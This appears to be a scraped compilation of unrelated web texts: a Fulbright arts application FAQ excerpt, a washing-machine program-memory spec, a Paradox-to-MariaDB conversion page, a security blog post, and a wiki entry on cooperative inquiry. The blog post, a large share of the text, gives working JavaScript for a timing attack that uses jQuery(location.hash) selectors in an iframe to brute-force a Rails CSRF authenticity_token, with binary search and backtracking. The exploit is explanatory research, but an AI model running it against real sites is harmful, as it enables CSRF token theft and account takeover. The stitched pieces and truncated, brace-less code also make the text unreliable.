Fulbright sees two major flaws in many arts applications. The first is proposing to replicate the same projects or work that you're doing in the United States. For example, if an artist makes small pottery in the U.S. and proposes to make the exact same type of pottery in Morocco, Fulbright will want to see a greater challenge or transformational aspect to the proposal. Conversely, the other major flaw that Fulbright sees is related to feasibility. Many applicants propose projects that are completely different from their artistic backgrounds and fail to make strong cases about how they have sufficient training and experience to complete their projects. For example, Fulbright typically wouldn't find it feasible for an artist with a background in pottery to choreograph and direct a community dance showcase if the applicant has expressed no prior experience or training in dance or the performing arts. Fulbright is looking for applicants who have the solid foundation in their field needed to complete a project, but the intent to build upon their craft in a meaningful and logical way.
8. Can I apply to a country where I have limited language skills?
Every country has different language requirements. Some require fluency or intermediate skills while some countries have no language requirements. Even if a country has no formal language requirements, it's important for you to keep the feasibility of your project in mind. If you're doing a project where you need to interview many people, for example, you might need a more advanced set of language skills.
9. If I'm applying for the second time, am I obligated to provide new portfolio materials?
It depends on how your portfolio materials relate to the current project you're proposing. If you're applying for the second time, the committee might wonder about the projects that you've been working on in the year since you last applied. Strong applications show growth and development in artistic ability.
10. If I propose a project that affiliates with a specific university in a specific city, am I still able to explore my proposed topic in other regions of the host country?
While Fulbright wants you to have a "home base" within your proposed host country, most applicants travel within the country as needed to conduct other aspects of their projects. Fulbright wouldn't want you moving around every week, but in-country travel both related to your project and for cultural exchange purposes is highly encouraged.
Interested in applying? Bookmark the Fulbright U.S. Student Program for Study/Research to your ProFellow account.
Also see our articles on Fulbright Application Tips for more insights on developing a strong Fulbright application.
© Victoria Johnson 2017, all rights reserved.
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text:
After the computer board runs a complete program, and then power on again, the screen displays the last complete program (not only memorize the program, but also all the parameters of the program. Each program including parameters is memorized separately.)
1. Express wash program (15 minutes) does not memorize washing parameters, but memorize the program number. The washing parameter is the default value.
2. In the program that the default temperature value is less than 60℃, the temperature memorized cannot exceed 60℃.
3. The drying option of the washing program is not memorized (Note: drying procedure, such as single drying, air washing, etc., set the default value).
4. The special stains of the washing program are not memorized.
5. The spinning speed memorized cannot exceed 1000rpm.


Convert Paradox to MariaDB online
Add file
Input file
Please upload the files of your Paradox database directory. The file extensions are: .DB (for table), .PX (for primary index), .MB (for memos), .VAL (for validation), .TV (for formatting) and others.
Max file size for web uploads: 50 GB
Output file
The API will return a ZIP archive that contains a .SQL file. This .SQL is a MariaDB dump file and can be restored into your MariaDB installation.
Conversion methods
Using our Java tool
Download the RebaseData client Java tool . To convert your database using RebaseData, run the following command:
 java -jar client-0.0.5.jar convert --output-format=mariadb database-files.. output-dir/

Using CURL
Let's imagine we want to convert the EMPLOYEE table of the paradoxReader's sample files. We would have to upload all files starting with "EMPLOYEE", namely EMPLOYEE.DB, EMPLOYEE.F10, EMPLOYEE.PX and EMPLOYEE.VAL. The curl command would look like this:
curl -F 'files[]=@EMPLOYEE.DB' -F 'files[]=@EMPLOYEE.F10' -F 'files[]=@EMPLOYEE.PX' -F 'files[]=@EMPLOYEE.VAL' '_URL_ -o output.zip
The file output.zip will contain a MariaDB file, one for each table in the set of input files. If something went wrong, output.zip contains the error message.
Options
How long does it take?
The conversion process takes between 15 seconds and multiple minutes. It depends on the size of the database.
You can also use your favourite tool
Why use RebaseData?
Terms


Have you ever encountered a website that runs jQuery(location.hash)? Seemingly pretty harmless, right? location.hash always starts with a "#" so all this code does is execute a CSS query selector. It turns out that's enough to perform a timing attack that can extract almost any secret string from the HTML.
Let's start with the basics. A CSS selector is used to match and select HTML elements and looks like these: div, a[href], input[name=authenticity_token]. With CSS3 you can have even more complicated selectors - for example input[value^='x'] matches an input element whose value attribute starts with 'x'.
Now over to the next ingredient of the timing attack. The best way to learn is by experimentation, so open your browser console (Ctrl-Shift-K in Firefox, Ctrl-Shift-J in Chrome). Execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"). Unless you have a very fast computer it should delay slightly before returning. Now execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='doesntexist']"). Notice how much faster it was? You have just discovered a very interesting property of CSS selectors: short-circuiting. The browser evaluates the selector right-to-left, so it starts searching for main[id='site-main']. When it finds it, it has to make sure it has a parent element that matches *:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))). This part is what takes so long (the :has pseudo-class is not implemented in the browser, but in jQuery). For the other selector, the browser evaluates main[id='doesntexist'], then when it doesn't find it, it just quits, ignoring the rest of the selector. In other words, it exhibits the same short-circuiting behavior as and/&& in most programming languages - just backwards.
The timing attack is beginning to take shape. Let's say we want to extract the authenticity_token (which protects against CSRF in Rails applications). If we execute the selector *:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x'], it will take a long time only if the authenticity_token starts with 'x'. But there's still a crucial problem left: how do we measure this time difference? The answer comes from a blog post by Eduardo Vela. The brilliant insight he offers is that the victim site and attacker site both run in the same thread, so a long running javascript process on the victim site will block execution on the attacker site. This gives us a way to detect when a selector is spending a long time executing.
I've set up an example site so we can experiment more easily: _URL_ Try to append _TAG_ to the URL and see what happens. View the page source and look at the hashchange handler to see exactly what it does. I've also set up the attacker site at _URL_ which embeds the victim site as an iframe. Now, back to the hack; hack.sheddow.xyz can schedule a callback to be executed later with setTimeout, then execute the selector on the victim site (via the hashchange handler in our case). If the hashchange handler is very slow, it will delay execution of the callback, and this delay can be measured with window.performance.now. Let's try to convert this into code.
const WAIT_TIME = 6;
const VICTIM_URL = "_URL_
function get_execution_time(selector) {
 var t0 = window.performance.now();
 var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
 window.frames[0].location = VICTIM_URL + "_TAG_," + encodeURIComponent(selector) + "," + Math.random();
 return p;
function measure_time(t0) {
 var t = window.performance.now() - t0;
 return t;
First we define a function wait so that we can work with Promises instead of with setTimeout directly. get_execution_time returns a Promise that should resolve in WAIT_TIME milliseconds, but before that, it executes the hashchange handler. The hashchange handler will hog the thread, and resolution of the Promise will be delayed. If the hashchange handler takes 50ms to execute, the Promise will resolve in atleast 50ms, and it will resolve to a value equal to the time it took. The WAIT_TIME is just to make sure the hashchange handler starts executing before the promise resolves. Test it out at _URL_ open the browser console, enter get_execution_time("p").then(console.log), and it should show about 10-20ms. Then try get_execution_time("*:has(*:has(*))").then(console.log), and it should show something closer to 100ms. At this point we can start brute-forcing the authenticity_token: just do get_execution_time("*:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a']") for each possible character, and the one that takes the longest time is probably the right one.
It's still possible to make it faster though. If you're familiar with blind SQL injection, you'll know that testing character by character is not the most optimal strategy. As with blind SQL injection, each query yields one bit of information ("fast" or "slow"), so it should be possible to halve the search space for each query. The trick is to test lots of characters at the same time, and use a binary search-like algorithm to narrow it down. Let's say we start testing abcdefghijklmnopqrstuvwxyzABCDEF. We can combine the selectors with a comma, so we'll end up with a super-long selector that looks something like *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a'], *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='b'],.... We then compare the execution time of these characters with the execution time of GHIJKLMNOPQRSTUVWXYZ0123456789+/, and whichever took the longest contains the correct character. Then we just split the correct string in half and repeat the process on the two substrings, recursively, until we hit upon the correct character.
Let's turn this into code. I'm gonna use async/await to make the code slightly cleaner.
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
async function binary_search(prefix, characters) {
 console.log("Testing '" + characters + "'");
 if (characters.length == 1) {
 return characters[0];
 var mid = Math.floor(_URL_
 var s1 = make_selector(prefix, characters.slice(0, mid));
 var s2 = make_selector(prefix, characters.slice(mid, characters.length));
 var t1 = await get_execution_time(s1);
 var t2 = await get_execution_time(s2);
 if (t1 < t2) {
 return binary_search(prefix, characters.slice(mid, characters.length));
 else {
 return binary_search(prefix, characters.slice(0, mid));
function make_selector(prefix, characters) {
 return characters
 .map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
Relatively straightforward. It just splits characters in two, measures the execution time of each half, then recursively calls itself. If you run binary_search("", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/").then(console.log) on _URL_ it should return g.
Finally, we can start bruteforcing the entire token. Just do something like
var token = "";
while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 token += c;
and you're good, right? Not so fast. If just a single character is guessed incorrectly it will throw all future queries off. You're almost guaranteed to end up with an incorrect token. Fortunately the time difference between a correct and incorrect query should be so great that we can detect whether we have guessed incorrectly. Just create a function
function approximately_equal(t1, t2) {
 var diff = Math.abs(t1 - t2);
 return diff <= 0.2*t1 || diff <= 0.2*t2;
and modify binary_search to return null if t1 and t2 are approximately equal. Now let's try again:
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
 var misses = 0;
 var token = "";
 while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 if (c === null) {
 if (misses == 3) {
 token = token.slice(0, -1); // Backtrack
 else {
 token += c;
 misses = 0;


text:
Individual differences |
Methods | Statistics | Clinical | Educational | Industrial | Professional items | World psychology |
Cooperative inquiry, also known as collaborative inquiry was first proposed by John Heron in 1971 and later expanded with Peter Reason. The major idea of cooperative inquiry is to "research 'with' rather than 'on' people." It emphasizes that all active participants are fully involved in research decisions as co-researchers. Cooperative inquiry creates a research cycle among four different types of knowledge: propositional knowing (as in contemporary science), practical knowing (the knowledge that comes with actually doing what you propose), experiential knowing (the feedback we get in real time about our interaction with the larger world) and presentational knowing (the artistic rehearsal process through which we craft new practices). The research process iterates these four stages at each cycle with deepening experience and knowledge of the initial proposition, or of new propositions, at every cycle.
- Stage 1: The first reflection phase that determines topics and methods of inquiry. This phase involves primarily propositional knowing.
- Stage 2: The first action phase, usually within the group, that tests the agreed actions, records outcomes from the testing, and observes if the actions conform to the original ideas from Stage 1. This stage involves primarily practical knowing.
- Stage 3: A second action phase, usually by individuals in their everyday life outside the group, where the experiences and the consequences of one's new inquiries in action can generate profound new feelings and awarenesses. In this stage, the experiences may lead to new fields, actions and insights that depart from the original ideas. This stage involves primarily experiential knowing.
- Stage 4: The second reflection phase when, in the group, co-researchers reflect on their experiences and the data collected in Stages 2 and 3. Now they may re-frame the original ideas and amend inquiry procedures. In this stage, co-researchers also decide whether to proceed to further cycles in the inquiry processes. This stage involves primarily presentational knowing, developing new images and ways of acting. This leads back to propositional knowing, if the inquiry group decides to start a next cycle.
The following figure illustrates the four cognitive modes and stages in Cooperative Inquiry process cycle (Figure is taken from John Heron's Co-operative Inquiry, pp.56, 1996)
Figure 1 Co-operate Inquiry Life Cycle
- Reason & Bradbury, Handbook of Action Research. London: Sage, 2001.
- Heron, J. 1996. Cooperative Inquiry: Research into the human condition. London: Sage.
- Reason, P. & Rowan, J. 1981. Human Inquiry: A Sourcebook of New Paradigm Research. London: Wiley.
- Reason, P. 1995. Participation in Human Inquiry. London: Sage.
- John Heron's home page: _URL_
- Peter Reason's home page: _URL_
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